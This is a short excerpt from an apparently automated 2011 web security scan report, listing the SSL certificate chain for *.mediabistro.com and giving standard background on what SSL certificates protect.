Issued to:
*.mediabistro.com
Issued by:
Go Daddy Secure Certification Authority
Valid from:
Wed Mar 16 12:37:24 CDT 2011
Valid to:
Fri Mar 16 12:37:24 CDT 2012
Certificate chain #1
Issued to:
Go Daddy Secure Certification Authority
Issued by:
Go Daddy Class 2 Certification Authority
Valid from:
Wed Nov 15 19:54:37 CST 2006
Valid to:
Sun Nov 15 19:54:37 CST 2026
Certificate chain #2
Issued to:
Go Daddy Class 2 Certification Authority
Issued by:
http://www.valicert.com/
Valid from:
Tue Jun 29 12:06:20 CDT 2004
Valid to:
Sat Jun 29 12:06:20 CDT 2024
Certificate chain #3
Issued to:
http://www.valicert.com/
Issued by:
http://www.valicert.com/
Valid from:
Fri Jun 25 19:19:54 CDT 1999
Valid to:
Tue Jun 25 19:19:54 CDT 2019
Certificate chain #4
Issued to:
http://www.valicert.com/
Issued by:
http://www.valicert.com/
Valid from:
Fri Jun 25 19:19:54 CDT 1999
Valid to:
Tue Jun 25 19:19:54 CDT 2019
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by XSS.CX at Sun Mar 27 09:20:10 CDT 2011.